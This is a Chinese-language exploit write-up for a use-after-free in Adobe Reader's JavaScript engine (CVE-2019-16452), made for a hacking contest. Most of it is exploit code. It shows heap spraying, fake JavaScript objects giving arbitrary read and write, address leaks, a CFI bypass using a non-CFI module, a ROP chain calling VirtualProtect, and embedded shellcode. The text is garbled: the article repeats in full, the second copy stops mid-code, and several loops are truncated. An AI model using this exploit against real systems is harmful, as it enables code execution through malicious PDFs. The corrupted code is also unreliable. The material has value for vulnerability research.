去年,Phan Thanh Duy在中国成都举行的天府杯比赛,选择的目标是Adobe Reader。这篇文章将详细介绍JSObject的UAF漏洞。Phan Thanh Duy已经通过大量的尝试和错误完成了此漏洞利用,涉及很多代码,我建议你阅读完整的利用代码,并在必要时自行进行调试。

这篇文章是基于Windows 10主机和Adobe Reader编写的。

 http://www.tianfucup.com/

0x01  漏洞点分析

该漏洞位于EScript.api组件中,该组件是各种JS API调用的绑定层。

首先,我创建一个Sound对象数组。

 SOUND_SZ  = 512
 SOUNDS   = Array(SOUND_SZ)
 for(var i=0; i<512; i++) {
  SOUNDS[i] = this.getSound(i)
  SOUNDS[i].toString()
 }

这就是Sound对象在内存中的样子。第二个DWORD是一个指向JSObject它有elements,slots,shape,fields等4个DWORD值的字符串表示对象类型。我不确定Adobe Reader使用的是哪个版本的Spidermonkey。起初我以为这是NativeObject,但是它似乎与Spidermonkey的源代码不匹配。

 0:000> dd @eax
 088445d8  08479bb0 0c8299e8 00000000 085d41f0
 088445e8  0e262b80 0e262f38 00000000 00000000
 088445f8  0e2630d0 00000000 00000000 00000000
 08844608  00000000 5b8c4400 6d6f4400 00000000
 08844618  00000000 00000000
 
 0:000> !heap -p -a @eax
     address 088445d8 found in
     _HEAP @ 4f60000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         088445d0 000a 0000  [00]   088445d8    00048 - (busy)
         
 0:000> da 085d41f0
 085d41f0  "Sound"

该0x48内存区域及其字段将被释放和重用。由于AdobeReader.exe是32位二进制文件,因此我可以堆喷并确切知道受控制的数据在内存中的位置,然后可以用受控制的数据覆盖整个内存区域,并尝试找到一种控制PC的方法。

但是,我失败了,因为:

1. 我不知道所有内存区域都是什么;

2. 我没有泄漏内存;

3. Adobe有CFI缓解机制。

因此,我将注意力转向了JSObject(第二个DWORD),也能够伪造a 。JSObject是一个非常强大的原语,不幸的是第二个DWORD不在堆中,它位于VirtualAllocAdobe Reader启动时编辑的内存区域中。

需要注意的一点是,内存内容在释放后不会清除。

 0:000> !address 0c8299e8
                                      
 Mapping file section regions...
 Mapping module regions...
 Mapping PEB regions...
 Mapping TEB and stack regions...
 Mapping heap regions...
 Mapping page heap regions...
 Mapping other regions...
 Mapping stack trace database regions...
 Mapping activation context regions...
 
 Usage:                   Base Address:           0c800000
 End Address:            0c900000
 Region Size:            00100000 (   1.000 MB)
 State:                  00001000          MEM_COMMIT
 Protect:                00000004          PAGE_READWRITE
 Type:                   00020000          MEM_PRIVATE
 Allocation Base:        0c800000
 Allocation Protect:     00000004          PAGE_READWRITE
 
 Content source: 1 (target), length: d6618

我意识到了这一点,ESObjectCreateArrayFromESVals和ESObjectCreate也被分配到这个领域,我使用了currentValueIndices函数来调用ESObjectCreateArrayFromESVals:

 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i<32; i++) t[i] = i
 f.multipleSelection = 1
 f.setItems(t)
 f.currentValueIndices = t
 // every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array.
 for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices

查看ESObjectCreateArrayFromESVals返回值,可以看到JSObject 0d2ad1f0不在堆上,而是elements在08c621e8are 上的缓冲区,ffffff81是标签号。

 0:000> dd @eax
 0da91b00  088dfd50 0d2ad1f0 00000001 00000000
 0da91b10  00000000 00000000 00000000 00000000
 0da91b20  00000000 00000000 00000000 00000000
 0da91b30  00000000 00000000 00000000 00000000
 0da91b40  00000000 00000000 5b9868c6 88018800
 0da91b50  0dbd61d8 537d56f8 00000014 0dbeb41c
 0da91b60  0dbd61d8 00000030 089dfbdc 00000001
 0da91b70  00000000 00000003 00000000 00000003
 0:000> !heap -p -a 0da91b00
     address 0da91b00 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         0da91af8 000a 0000  [00]   0da91b00    00048 - (busy)
  
 0:000> dd 0d2ad1f0
 0d2ad1f0  0d2883e8 0d225ac0 00000000 08c621e8
 0d2ad200  0da91b00 00000000 00000000 00000000
 0d2ad210  00000000 00000020 0d227130 0d2250c0
 0d2ad220  00000000 553124f8 0da8dfa0 00000000
 0d2ad230  00c10003 0d27d180 0d237258 00000000
 0d2ad240  0d227130 0d2250c0 00000000 553124f8
 0d2ad250  0da8dcd0 00000000 00c10001 0d27d200
 0d2ad260  0d237258 00000000 0d227130 0d2250c0
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 0:000> !heap -p -a 08c621e8
     address 08c621e8 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         08c621d0 0023 0000  [00]   08c621d8    00110 - (busy)

因此,现在的目标是覆盖elements缓冲区以注入伪造的Javascript对象。

这是我目前的计划:

1. 释放Sound对象。

2. 尝试使用分配密集数组到Sound释放的currentValueIndices对象位置。

3. 释放密集数组。

4. 尝试分配到释放的elements缓冲区中

5. 注入伪造的Javascript对象

下面的代码遍历SOUNDS数组以释放currentValueIndices元素并用于回收它们:

 /* free and reclaim sound object */
 RECLAIM_SZ   = 512
 RECLAIMS   = Array(RECLAIM_SZ)
 THRESHOLD_SZ  = 1024*6
 NTRY    = 3
 NOBJ    = 8 //18
 for(var i=0; i<NOBJ; i++) {
  SOUNDS[i] = null //free one sound object
  gc()
 
  for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
  try {
         //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0
    if (this.getSound(i)[0] == 0) {
     RECLAIMS[i] = this.getSound(i)
   } else {
    console.println('RECLAIM SOUND OBJECT FAILED: '+i)
    throw ''
   }
  }
  catch (err) {
   console.println('RECLAIM SOUND OBJECT FAILED: '+i)
   throw ''
  }
  gc()
 }
 console.println('RECLAIM SOUND OBJECT SUCCEED')

接下来,我们将释放所有密集数组,并尝试使用elements将其分配回TypedArray其缓冲区。0x33441122在数组的开头放置了伪造的整数,以检查回收是否成功。elements将具有受控缓冲区的损坏数组放入变量T:

 /* free all allocated array objects */
 this.removeField("f")
 RECLAIMS  = null
 f    = null
 FENCES   = null //free fence
 gc()
 
 for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
 /* reclaim freed element buffer */
 for(var i=0; i<FREE_110_SZ; i++) {
  FREES_110[i] = new Uint32Array(64)
  FREES_110[i][0] = 0x33441122
  FREES_110[i][1] = 0xffffff81
 }
 T = null
 for(var j=0; j<8; j++) {
  try {
         // if the reclaim succeed the first element would be our injected number
   if (SOUNDS[j][0] == 0x33441122) {
    T = SOUNDS[j]
    break
   }
  } catch (err) {}
 }
 if (T==null) {
  console.println('RECLAIM element buffer FAILED')
  throw ''
 } else console.println('RECLAIM element buffer SUCCEED')

从这开始,我们可以将伪造的Javascript对象放入elements缓冲区并泄漏分配给它的对象的地址。以下代码用于找出哪个TypedArray是我们的伪elements缓冲区并泄漏其地址。

 /* create and leak the address of an array buffer */
 WRITE_ARRAY = new Uint32Array(8)
 T[0] = WRITE_ARRAY
 T[1] = 0x11556611
 for(var i=0; i0)
   break
  } else {
   FREES_110[i] = null
  }
 }

0x02 任意读写

为了获得简洁的读取原语,我将一堆假字符串对象注入堆中,然后将其分配到elements缓冲区中。

 GUESS = 0x20000058 //0x20d00058 
 /* spray fake strings */
 for(var i=0x1100; i=0)
 DV = DataView(SPRAY[SPRAY_IDX])
 function myread(addr) {
     //change fake string object's buffer to the address we want to read.
  DV.setUint32(4, addr, true)
  return s2h(T[2])
 }

同样,为了实现任意写入,我创建了一个false的 TypedArray,复制WRITE_ARRAY内容并更改其SharedArrayRawBuffer指针。

 /* create aaw primitive */
 for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
 FAKE_ELES[6] = GUESS+0x10
 FAKE_ELES[7] = 0xffffff87
 function mywrite(addr, val) {
  DV.setUint32(96, addr, true)
  T[3][0] = val
 }
 //mywrite(0x200000C8, 0x1337)

0x03  获得代码执行

使用任意的读/写原语,我可以在EScript.API在TypedArray对象的标头中泄漏基址,EScript.API有一个非常方便的gadget可以调用VirtualAlloc。

 //d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API
 ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0    dq ? 
 console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
 assert(ESCRIPT_BASE>0)

接下来,我泄漏对象的地址基址AcroForm.API和CTextField(0x60大小)对象的地址。首先使用CTextField分配一堆对象,addField创建一个也具有size的字符串对象0x60,然后泄漏此字符串(MARK_ADDR)的地址。我们可以假设这些CTextField对象将位于我们的后面MARK_ADDR,最后在堆中寻找CTextField::vftable。

 /* leak .rdata:007A55BC ; const CTextField::`vftable' */
 //f9c59c6cf718d1458b4af7bbada75243
 for(var i=0; i>>0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 
 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)

然后,我们可以覆盖CTextField对象vftable以控制PC。

0x04 绕过CFI

启用CFI后,我们将无法使用ROP。我编写了一个小脚本来查找未启用CFI并在我的漏洞利用程序运行时加载的模块。

我发现了icucnv58.dll。

 import pefile
 import os
 
 for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'):
  for file in files:
   if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'):
    fpath = os.path.join(root, file)
    try:
     pe = pefile.PE(fpath, fast_load=1)
    except Exception as e:
     print (e)
     print ('error', file)
    if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0:
     print (file)

该icucnv58.dll基址可以通过Acroform.API被泄露。icucnv58.dll内部有足够的gadget来执行堆栈和ROP。

 //a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll`
 r = myread(ACROFORM_BASE+0xBF2E2C)
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret

0x05 最后一步

我们有了实现完整代码执行所需的一切。使用任意写入原语将shellcode写入内存,然后调用VirtualProtect以启用执行权限。我的UAF漏洞利用程序的可靠性可以达到约80%的成功率,如果需要重试多次,则利用可能需要更多时间。

总结一下利用步骤:

 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483,
             1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903,
             605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611,
             1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

完整利用代码:

 https://github.com/star-sg/CVE/tree/master/CVE-2019-16452
 
 /* util functions */
 console.show()
 function gc() {new ArrayBuffer(3*1024*1024*100)}
 function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<>>0
 }
 redv = new DataView(new ArrayBuffer(4))
 function re(n) {
  redv.setUint32(0, n, false)
  return redv.getUint32(0, n, true)
 }
 function assert(condition) {
  if (condition==false) {
   console.println('assert')
   throw ''
  }
 }
 //////////////////////////////
 
 
 STR_60   = "A".repeat(0x60/2-1)
 FREE_110_SZ = 1024*2
 FREES_110  = Array(FREE_110_SZ)
 
 /* heap spray */
 SPRAY_SIZE  = 0x2000
 SPRAY   = Array(SPRAY_SIZE)
 GUESS   = 0x20000058 //0x20d00058 
 for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)
 //////////////////////////////
 
 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 /////////////////////////////////
 
 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)
 r = myread(ACROFORM_BASE+0xBF2E2C)
 //a86f5089230164fb6359374e70fe1739
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 /////////////////////////////////
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret
 
 //app.response({cQuestion: "",cTitle: "",cDefault: g3.toString(16),cLabel: ""});
 
 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 /////////////////////////////////
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483, 1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903, 605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611, 1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

利用该漏洞,我们可以弹出Calc:

1586794196828.png

 https://youtu.be/wZAPfW9Z0yA

去年,Phan Thanh Duy在中国成都举行的天府杯比赛,选择的目标是Adobe Reader。这篇文章将详细介绍JSObject的UAF漏洞。Phan Thanh Duy已经通过大量的尝试和错误完成了此漏洞利用,涉及很多代码,我建议你阅读完整的利用代码,并在必要时自行进行调试。

这篇文章是基于Windows 10主机和Adobe Reader编写的。

 http://www.tianfucup.com/

0x01  漏洞点分析

该漏洞位于EScript.api组件中,该组件是各种JS API调用的绑定层。

首先,我创建一个Sound对象数组。

 SOUND_SZ  = 512
 SOUNDS   = Array(SOUND_SZ)
 for(var i=0; i<512; i++) {
  SOUNDS[i] = this.getSound(i)
  SOUNDS[i].toString()
 }

这就是Sound对象在内存中的样子。第二个DWORD是一个指向JSObject它有elements,slots,shape,fields等4个DWORD值的字符串表示对象类型。我不确定Adobe Reader使用的是哪个版本的Spidermonkey。起初我以为这是NativeObject,但是它似乎与Spidermonkey的源代码不匹配。

 0:000> dd @eax
 088445d8  08479bb0 0c8299e8 00000000 085d41f0
 088445e8  0e262b80 0e262f38 00000000 00000000
 088445f8  0e2630d0 00000000 00000000 00000000
 08844608  00000000 5b8c4400 6d6f4400 00000000
 08844618  00000000 00000000
 
 0:000> !heap -p -a @eax
     address 088445d8 found in
     _HEAP @ 4f60000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         088445d0 000a 0000  [00]   088445d8    00048 - (busy)
         
 0:000> da 085d41f0
 085d41f0  "Sound"

该0x48内存区域及其字段将被释放和重用。由于AdobeReader.exe是32位二进制文件,因此我可以堆喷并确切知道受控制的数据在内存中的位置,然后可以用受控制的数据覆盖整个内存区域,并尝试找到一种控制PC的方法。

但是,我失败了,因为:

1. 我不知道所有内存区域都是什么;

2. 我没有泄漏内存;

3. Adobe有CFI缓解机制。

因此,我将注意力转向了JSObject(第二个DWORD),也能够伪造a 。JSObject是一个非常强大的原语,不幸的是第二个DWORD不在堆中,它位于VirtualAllocAdobe Reader启动时编辑的内存区域中。

需要注意的一点是,内存内容在释放后不会清除。

 0:000> !address 0c8299e8
                                      
 Mapping file section regions...
 Mapping module regions...
 Mapping PEB regions...
 Mapping TEB and stack regions...
 Mapping heap regions...
 Mapping page heap regions...
 Mapping other regions...
 Mapping stack trace database regions...
 Mapping activation context regions...
 
 Usage:                   Base Address:           0c800000
 End Address:            0c900000
 Region Size:            00100000 (   1.000 MB)
 State:                  00001000          MEM_COMMIT
 Protect:                00000004          PAGE_READWRITE
 Type:                   00020000          MEM_PRIVATE
 Allocation Base:        0c800000
 Allocation Protect:     00000004          PAGE_READWRITE
 
 Content source: 1 (target), length: d6618

我意识到了这一点,ESObjectCreateArrayFromESVals和ESObjectCreate也被分配到这个领域,我使用了currentValueIndices函数来调用ESObjectCreateArrayFromESVals:

 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i<32; i++) t[i] = i
 f.multipleSelection = 1
 f.setItems(t)
 f.currentValueIndices = t
 // every time currentValueIndices is accessed `ESObjectCreateArrayFromESVals` is called to create a new array.
 for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices

查看ESObjectCreateArrayFromESVals返回值,可以看到JSObject 0d2ad1f0不在堆上,而是elements在08c621e8are 上的缓冲区,ffffff81是标签号。

 0:000> dd @eax
 0da91b00  088dfd50 0d2ad1f0 00000001 00000000
 0da91b10  00000000 00000000 00000000 00000000
 0da91b20  00000000 00000000 00000000 00000000
 0da91b30  00000000 00000000 00000000 00000000
 0da91b40  00000000 00000000 5b9868c6 88018800
 0da91b50  0dbd61d8 537d56f8 00000014 0dbeb41c
 0da91b60  0dbd61d8 00000030 089dfbdc 00000001
 0da91b70  00000000 00000003 00000000 00000003
 0:000> !heap -p -a 0da91b00
     address 0da91b00 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         0da91af8 000a 0000  [00]   0da91b00    00048 - (busy)
  
 0:000> dd 0d2ad1f0
 0d2ad1f0  0d2883e8 0d225ac0 00000000 08c621e8
 0d2ad200  0da91b00 00000000 00000000 00000000
 0d2ad210  00000000 00000020 0d227130 0d2250c0
 0d2ad220  00000000 553124f8 0da8dfa0 00000000
 0d2ad230  00c10003 0d27d180 0d237258 00000000
 0d2ad240  0d227130 0d2250c0 00000000 553124f8
 0d2ad250  0da8dcd0 00000000 00c10001 0d27d200
 0d2ad260  0d237258 00000000 0d227130 0d2250c0
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 
 0:000> dd 08c621e8
 08c621e8  00000000 ffffff81 00000001 ffffff81
 08c621f8  00000002 ffffff81 00000003 ffffff81
 08c62208  00000004 ffffff81 00000005 ffffff81
 08c62218  00000006 ffffff81 00000007 ffffff81
 08c62228  00000008 ffffff81 00000009 ffffff81
 08c62238  0000000a ffffff81 0000000b ffffff81
 08c62248  0000000c ffffff81 0000000d ffffff81
 08c62258  0000000e ffffff81 0000000f ffffff81
 0:000> !heap -p -a 08c621e8
     address 08c621e8 found in
     _HEAP @ 5570000
       HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
         08c621d0 0023 0000  [00]   08c621d8    00110 - (busy)

因此,现在的目标是覆盖elements缓冲区以注入伪造的Javascript对象。

这是我目前的计划:

1. 释放Sound对象。

2. 尝试使用分配密集数组到Sound释放的currentValueIndices对象位置。

3. 释放密集数组。

4. 尝试分配到释放的elements缓冲区中

5. 注入伪造的Javascript对象

下面的代码遍历SOUNDS数组以释放currentValueIndices元素并用于回收它们:

 /* free and reclaim sound object */
 RECLAIM_SZ   = 512
 RECLAIMS   = Array(RECLAIM_SZ)
 THRESHOLD_SZ  = 1024*6
 NTRY    = 3
 NOBJ    = 8 //18
 for(var i=0; i<NOBJ; i++) {
  SOUNDS[i] = null //free one sound object
  gc()
 
  for(var j=0; j<THRESHOLD_SZ; j++) f.currentValueIndices
  try {
         //if the reclaim succeed `this.getSound` return an array instead and its first element should be 0
    if (this.getSound(i)[0] == 0) {
     RECLAIMS[i] = this.getSound(i)
   } else {
    console.println('RECLAIM SOUND OBJECT FAILED: '+i)
    throw ''
   }
  }
  catch (err) {
   console.println('RECLAIM SOUND OBJECT FAILED: '+i)
   throw ''
  }
  gc()
 }
 console.println('RECLAIM SOUND OBJECT SUCCEED')

接下来,我们将释放所有密集数组,并尝试使用elements将其分配回TypedArray其缓冲区。0x33441122在数组的开头放置了伪造的整数,以检查回收是否成功。elements将具有受控缓冲区的损坏数组放入变量T:

 /* free all allocated array objects */
 this.removeField("f")
 RECLAIMS  = null
 f    = null
 FENCES   = null //free fence
 gc()
 
 for (var j=0; j<8; j++) SOUNDS[j] = this.getSound(j)
 /* reclaim freed element buffer */
 for(var i=0; i<FREE_110_SZ; i++) {
  FREES_110[i] = new Uint32Array(64)
  FREES_110[i][0] = 0x33441122
  FREES_110[i][1] = 0xffffff81
 }
 T = null
 for(var j=0; j<8; j++) {
  try {
         // if the reclaim succeed the first element would be our injected number
   if (SOUNDS[j][0] == 0x33441122) {
    T = SOUNDS[j]
    break
   }
  } catch (err) {}
 }
 if (T==null) {
  console.println('RECLAIM element buffer FAILED')
  throw ''
 } else console.println('RECLAIM element buffer SUCCEED')

从这开始,我们可以将伪造的Javascript对象放入elements缓冲区并泄漏分配给它的对象的地址。以下代码用于找出哪个TypedArray是我们的伪elements缓冲区并泄漏其地址。

 /* create and leak the address of an array buffer */
 WRITE_ARRAY = new Uint32Array(8)
 T[0] = WRITE_ARRAY
 T[1] = 0x11556611
 for(var i=0; i0)
   break
  } else {
   FREES_110[i] = null
  }
 }

0x02 任意读写

为了获得简洁的读取原语,我将一堆假字符串对象注入堆中,然后将其分配到elements缓冲区中。

 GUESS = 0x20000058 //0x20d00058 
 /* spray fake strings */
 for(var i=0x1100; i=0)
 DV = DataView(SPRAY[SPRAY_IDX])
 function myread(addr) {
     //change fake string object's buffer to the address we want to read.
  DV.setUint32(4, addr, true)
  return s2h(T[2])
 }

同样,为了实现任意写入,我创建了一个false的 TypedArray,复制WRITE_ARRAY内容并更改其SharedArrayRawBuffer指针。

 /* create aaw primitive */
 for(var i=0; i<32; i++) {DV.setUint32(i*4+16, myread(WRITE_ARRAY_ADDR+i*4), true)} //copy WRITE_ARRAY
 FAKE_ELES[6] = GUESS+0x10
 FAKE_ELES[7] = 0xffffff87
 function mywrite(addr, val) {
  DV.setUint32(96, addr, true)
  T[3][0] = val
 }
 //mywrite(0x200000C8, 0x1337)

0x03  获得代码执行

使用任意的读/写原语,我可以在EScript.API在TypedArray对象的标头中泄漏基址,EScript.API有一个非常方便的gadget可以调用VirtualAlloc。

 //d8c5e69b5ff1cea53d5df4de62588065 - md5sun of EScript.API
 ESCRIPT_BASE = myread(WRITE_ARRAY_ADDR+12) - 0x02784D0 //data:002784D0 qword_2784D0    dq ? 
 console.println('ESCRIPT_BASE: '+ ESCRIPT_BASE.toString(16))
 assert(ESCRIPT_BASE>0)

接下来,我泄漏对象的地址基址AcroForm.API和CTextField(0x60大小)对象的地址。首先使用CTextField分配一堆对象,addField创建一个也具有size的字符串对象0x60,然后泄漏此字符串(MARK_ADDR)的地址。我们可以假设这些CTextField对象将位于我们的后面MARK_ADDR,最后在堆中寻找CTextField::vftable。

 /* leak .rdata:007A55BC ; const CTextField::`vftable' */
 //f9c59c6cf718d1458b4af7bbada75243
 for(var i=0; i>>0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 
 /* leak acroform, icucnv58 base address */
 ACROFORM_BASE = vftable-0x07A55BC
 console.println('ACROFORM_BASE: ' + ACROFORM_BASE.toString(16))
 assert(ACROFORM_BASE>0)

然后,我们可以覆盖CTextField对象vftable以控制PC。

0x04 绕过CFI

启用CFI后,我们将无法使用ROP。我编写了一个小脚本来查找未启用CFI并在我的漏洞利用程序运行时加载的模块。

我发现了icucnv58.dll。

 import pefile
 import os
 
 for root, subdirs, files in os.walk(r'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader'):
  for file in files:
   if file.endswith('.dll') or file.endswith('.exe') or file.endswith('.api'):
    fpath = os.path.join(root, file)
    try:
     pe = pefile.PE(fpath, fast_load=1)
    except Exception as e:
     print (e)
     print ('error', file)
    if (pe.OPTIONAL_HEADER.DllCharacteristics & 0x4000) == 0:
     print (file)

该icucnv58.dll基址可以通过Acroform.API被泄露。icucnv58.dll内部有足够的gadget来执行堆栈和ROP。

 //a86f5089230164fb6359374e70fe1739 - md5sum of `icucnv58.dll`
 r = myread(ACROFORM_BASE+0xBF2E2C)
 ICU_BASE = myread(r+16)
 console.println('ICU_BASE: ' + ICU_BASE.toString(16))
 assert(ICU_BASE>0)
 
 g1 = ICU_BASE + 0x919d4 + 0x1000//mov esp, ebx ; pop ebx ; ret
 g2 = ICU_BASE + 0x73e44 + 0x1000//in al, 0 ; add byte ptr [eax], al ; add esp, 0x10 ; ret
 g3 = ICU_BASE + 0x37e50 + 0x1000//pop esp;ret

0x05 最后一步

我们有了实现完整代码执行所需的一切。使用任意写入原语将shellcode写入内存,然后调用VirtualProtect以启用执行权限。我的UAF漏洞利用程序的可靠性可以达到约80%的成功率,如果需要重试多次,则利用可能需要更多时间。

总结一下利用步骤:

 /* copy CTextField vftable */
 for(var i=0; i<32; i++) mywrite(GUESS+64+i*4, myread(vftable+i*4))
 mywrite(GUESS+64+5*4, g1)  //edit one pointer in vftable
 
 // // /* 1st rop chain */
 mywrite(MARK_ADDR+4, g3)
 mywrite(MARK_ADDR+8, GUESS+0xbc)
 
 // // /* 2nd rop chain */
 rop = [
 myread(ESCRIPT_BASE + 0x01B0058), //VirtualProtect
 GUESS+0x120, //return address
 GUESS+0x120, //buffer
 0x1000, //sz
 0x40, //new protect
 GUESS-0x20//old protect
 ]
 for(var i=0; i<rop.length;i++) mywrite(GUESS+0xbc+4*i, rop[i])
 
 //shellcode
 shellcode = [835867240, 1667329123, 1415139921, 1686860336, 2339769483,
             1980542347, 814448152, 2338274443, 1545566347, 1948196865, 4270543903,
             605009708, 390218413, 2168194903, 1768834421, 4035671071, 469892611,
             1018101719, 2425393296]
 for(var i=0; i<shellcode.length; i++) mywrite(GUESS+0x120+i*4, re(shellcode[i]))
 
 /* overwrite real vftable */
 mywrite(MARK_ADDR, GUESS+64)

完整利用代码:

 https://github.com/star-sg/CVE/tree/master/CVE-2019-16452
 
 /* util functions */
 console.show()
 function gc() {new ArrayBuffer(3*1024*1024*100)}
 function s2h(s) {
  var n1 = s.charCodeAt(0)
  var n2 = s.charCodeAt(1)
  return ((n2<>>0
 }
 redv = new DataView(new ArrayBuffer(4))
 function re(n) {
  redv.setUint32(0, n, false)
  return redv.getUint32(0, n, true)
 }
 function assert(condition) {
  if (condition==false) {
   console.println('assert')
   throw ''
  }
 }
 //////////////////////////////
 
 
 STR_60   = "A".repeat(0x60/2-1)
 FREE_110_SZ = 1024*2
 FREES_110  = Array(FREE_110_SZ)
 
 /* heap spray */
 SPRAY_SIZE  = 0x2000
 SPRAY   = Array(SPRAY_SIZE)
 GUESS   = 0x20000058 //0x20d00058 
 for(var i=0; i<SPRAY_SIZE; i++) SPRAY[i] = new ArrayBuffer(0x10000-24)
 //////////////////////////////
 
 /* prepare array elements buffer */
 f = this.addField("f" , "listbox", 0, [0,0,0,0]);
 t = Array(32)
 for(var i=0; i0)==0xc0000000)) break
 }
 console.println('MARK_ADDR: '+ MARK_ADDR.toString(16))
 assert(MARK_ADDR>0)
 /////////////////////////////////
 
